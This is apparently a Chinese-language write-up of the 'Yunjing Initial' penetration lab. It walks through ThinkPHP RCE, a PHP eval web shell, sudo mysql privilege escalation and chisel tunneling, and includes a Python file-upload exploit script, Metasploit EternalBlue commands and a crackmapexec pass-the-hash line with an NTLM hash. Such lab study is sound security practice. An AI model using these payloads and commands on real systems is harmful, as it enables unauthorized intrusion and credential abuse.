Contents

Back

云镜-Initial

Contents

进来是一个登陆页面 /img/initial/1.png /img/initial/2.png 注册不了账号指向了#,所以我们看看哪里能打 fscan扫一下发现think5.0.23然后打rce /img/initial/3.png 然后尝试写一句话木马 echo '<?php eval($_POST[cmd]); ?>' > shell.php /img/initial/4.png yj连一下 然后sudo -l看一下有什么能用的 这里再拓展一下sudo语法

sudo [options] [command]
  • -b:在后台执行指令;
  • -E:继承当前环境变量;
  • -h:显示帮助;
  • -H:将 HOME 环境变量设为新身份的 HOME 环境变量;
  • -k:结束密码的有效期限,也就是下次再执行 sudo 时便需要输入密码;
  • -l:列出目前用户可执行与无法执行的指令;
  • -p:改变询问密码的提示符号;
  • -s<shell>:执行指定的 shell;
  • -u<user>:以指定的用户作为新的身份。若不加上此参数,则预设以 root 作为新的身份;
  • -v:延长密码有效期限 5 分钟;
  • -V:显示版本信息。

/img/initial/5.png 发现有一个mysql,然后利用mysql提权 这里的逻辑就是,看一下我们能用的哪一个命令有sudo权限,然后利用这个权限去打高权限 /img/initial/6.png 关于mysql -e这个命令的解释 /img/initial/7.png 所以我们先读文件,找一下flag在哪里 /img/initial/8.png /img/initial/9.png 拿下第一段 flag{60b53231- 然后接着打内网,传一个fscan上去 /img/initial/10.png 记得给执行权限 /img/initial/11.png 然后在内网的资源,所以我们需要建立一个内网隧道,这里用chisel 安装: /img/initial/12.png 第一次用这个工具所以也要了解一下原理吧: https://camo.githubusercontent.com/d250e1da1498830bc77ba11dcff241c1cc4ac4fcba9882df3259579ba9b439f7/68747470733a2f2f646f63732e676f6f676c652e636f6d2f64726177696e67732f642f317035335657787a474e667938726a722d6d5738707669734a6d686b6f4c6c383276416763744f5f366631772f7075623f773d39363026683d373230 建立了一个隧道并且利用ssh加密传输保证了安全性 vps上reverse代理 /img/initial/13.png 然后靶机上给一个正向 /img/initial/14.png 最后配置一下火狐即可访问 /img/initial/15.png /img/initial/16.png 然后这里先配一下kali的proxychains因为后续要用到 /img/initial/17.png 然后利用poc打后台(省略了前面弱口令部分,其实就一个base64加密爆破即可) exp.python

import requests


session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
print(id)
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

/img/initial/18.png 成功写入 /img/initial/19.png 蚁剑连接一下(注意配一下代理) /img/initial/20.png /img/initial/21.png flag02:2ce3-4813-87d4-

然后还有一台机器 /img/initial/22.png 这里fscan之前扫到过时ms17-101打的 这里跟着猫and狗师傅用msf吧(当一会脚本小子!)

proxychains4 msfconsole use exploit/windows/smb/ms17_010_eternalblue 
set payload windows/x64/meterpreter/bind_tcp_uuid 
set RHOSTS 172.22.1.21 
exploit

/img/initial/23.png 拿下 /img/initial/24.png 拿到hash后直接打就行

proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

参考链接: https://fushuling.com/index.php/2023/08/27/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83%C2%B7initial/